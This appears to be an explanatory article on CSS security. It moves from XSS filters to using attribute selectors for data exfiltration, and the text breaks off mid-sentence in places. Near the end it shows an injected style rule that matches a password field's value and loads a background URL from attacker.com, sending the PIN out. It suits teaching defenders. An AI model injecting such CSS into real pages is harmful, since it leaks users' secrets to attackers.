CSS and data security

Various front-end components are traditionally the domain of web developers and designers, and they do not always think about content security. In this article, I propose to talk about CSS security.

First, let's remember what crosssite scripting (CSS) is. XSS is a type of attack on web resources that consists of introducing arbitrary code into the page issued by the site (which will be executed on the user’s computer when he opens this page) and interacting with this code with the attacker’s web server.

For several years, modern browsers such as Chrome or Firefox have tried to protect web application users from various attacks, including XSS. They did this using XSS filters, which in many cases allowed them to block such attacks. However, these filters have proven less and less effective, and browsers such as Chrome are gradually disabling them in search of alternative methods of protection. The principle of XSS filters is quite simple. When your web browser sends a request to a website, its built-in cross-site scripting filter checks to see if the request contains executable JavaScript, such as a

For example, we can change the color of a link without using JavaScript. A typical CSS selector might look something like this:

a {
   color: red;
}

This will select all tags and set the link text color for them to red. However, this doesn't provide much flexibility and may even interfere with the rest of your web design. You may want to set internal links to a different color than external links to make it easier for visitors to see which link they'll follow from your website. What you can do is create a class like the one below and apply it to all anchor tags that point to internal links:

.internal-link {
   color: green;
}

This is not necessarily an ideal situation; this adds more HTML code and you need to manually check if the correct class is set for all internal links. Conveniently, CSS provides a simpler solution to this problem.

Selecting CSS Attributes

CSS attribute selectors allow you to set the color of every link starting with https://mysite.com/ to green, for example:

a[href^="https://mysite.com/"] {
   color: green;
}

This is a nice feature, but what does this have to do with data exfiltration? Well, it is possible to send outgoing requests using the background directive in combination with the url. If we combine this with an attribute selector, we can easily validate the presence of certain data in HTML attributes on a page:

<style>
   input[name="pin"][value="1234"] {
      background: url(https://attacker.com/log?pin=1234);
   }
</style>
<input type="password" name="pin" value="1234">

This CSS code will select any input tag that contains the name pin and the value 1234. By injecting the code into the page between the